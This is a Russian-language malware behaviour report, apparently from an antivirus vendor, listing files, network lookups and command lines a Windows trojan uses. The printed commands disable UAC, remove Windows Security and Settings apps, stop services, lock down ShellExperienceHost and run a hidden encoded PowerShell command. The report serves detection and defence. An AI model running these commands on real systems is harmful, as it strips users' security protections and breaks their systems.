Техническая информация
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует:
- Средство контроля пользовательских учетных записей (UAC)
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIAAnAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABTAHkAcwB0AHIAYQB5ACcAIAAtAEYAbwByAGMAZQANAAoAQQBkAG...
Запускает на исполнение
- '<SYSTEM32>\taskkill.exe' /f /im shellexperiencehost.exe
Изменения в файловой системе
Создает следующие файлы
- %ProgramFiles(x86)%\system32\uns.exe
- %ProgramFiles(x86)%\system32\yusetup.exe
- %TEMP%\is-489nh.tmp\yusetup.tmp
- %TEMP%\is-n1i3g.tmp\_isetup\_setup64.tmp
- %APPDATA%\microsoft\windows\svchost.exe
- %TEMP%\svchost.exe
Присваивает атрибут 'скрытый' для следующих файлов
- %TEMP%\svchost.exe
Изменяет файл HOSTS.
Сетевая активность
UDP
- DNS ASK ip##pi.com
- DNS ASK ap#.##legram.org
Другое
Ищет следующие окна
- ClassName: 'EDIT' WindowName: ''
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '%ProgramFiles(x86)%\system32\yusetup.exe'
- '%ProgramFiles(x86)%\system32\uns.exe'
- '%TEMP%\is-489nh.tmp\yusetup.tmp' /SL5="$60248,6844136,886784,%ProgramFiles(x86)%\system32\yusetup.exe"
- '%APPDATA%\microsoft\windows\svchost.exe'
- '%TEMP%\svchost.exe'
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c sc stop WpnUserService
- '<SYSTEM32>\cmd.exe' /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f && powershell -command "&{ $null = New-Object -ComObject Shell.Application;...
- '<SYSTEM32>\ipconfig.exe' /flushdns
- '<SYSTEM32>\cmd.exe' /c ipconfig /flushdns
- '<SYSTEM32>\reg.exe' add ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c reg add ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c schtasks /Change /TN "\Microsoft\Windows\Shell\FamilySafetyMonitor" /Disable
- '<SYSTEM32>\cmd.exe' /c reg add ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" /v EnableLUA /t REG_DWORD /d 0 /f
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\Application Experience\ProgramDataUpdater" /Disable
- '<SYSTEM32>\cmd.exe' /c schtasks /Change /TN "\Microsoft\Windows\Application Experience\ProgramDataUpdater" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\Shell\FamilySafetyRefresh" /Disable
- '<SYSTEM32>\cmd.exe' /c schtasks /Change /TN "\Microsoft\Windows\Shell\FamilySafetyRefresh" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\Shell\FamilySafetyMonitor" /Disable
- '<SYSTEM32>\cmd.exe' /c reg add ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" /v EnableLUA /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Get-AppxPackage *Windows.SecHealthUI* | Remove-AppxPackage"
- '<SYSTEM32>\cmd.exe' /c takeown /f "%WINDIR%\SystemApps\ShellExperienceHost_cw5n1h2txyewy" /r /d y
- '<SYSTEM32>\cmd.exe' /c sc config WpnUserService start= disabled
- '<SYSTEM32>\sc.exe' config WpnUserService start= disabled
- '<SYSTEM32>\cmd.exe' /c sc stop WpnService
- '<SYSTEM32>\sc.exe' stop WpnService
- '<SYSTEM32>\cmd.exe' /c sc config WpnService start= disabled
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Get-AppxPackage *Windows.SecHealthUI* | Remove-AppxPackage"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "&{ $null = New-Object -ComObject Shell.Application; (New-Object -ComObject Shell.Application).Windows() | ForEach-Object { $_.Refresh() } }"
- '<SYSTEM32>\sc.exe' stop WpnUserService
- '<SYSTEM32>\takeown.exe' /f "%WINDIR%\SystemApps\ShellExperienceHost_cw5n1h2txyewy" /r /d y
- '<SYSTEM32>\cmd.exe' /c icacls "%WINDIR%\SystemApps\ShellExperienceHost_cw5n1h2txyewy" /deny *S-1-1-0:(OI)(CI)(F)
- '<SYSTEM32>\icacls.exe' "%WINDIR%\SystemApps\ShellExperienceHost_cw5n1h2txyewy" /deny *S-1-1-0:(OI)(CI)(F)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Get-AppxPackage *Windows.ImmersiveControlPanel* | Remove-AppxPackage"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Get-AppxPackage *Windows.ImmersiveControlPanel* | Remove-AppxPackage"
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im shellexperiencehost.exe
- '<SYSTEM32>\sc.exe' config WpnService start= disabled
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIAAnAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABTAHkAcwB0AHIAYQB5ACcAIAAtAEYAbwByAGMAZQANAAoAQQBkAG... (со скрытым окном)
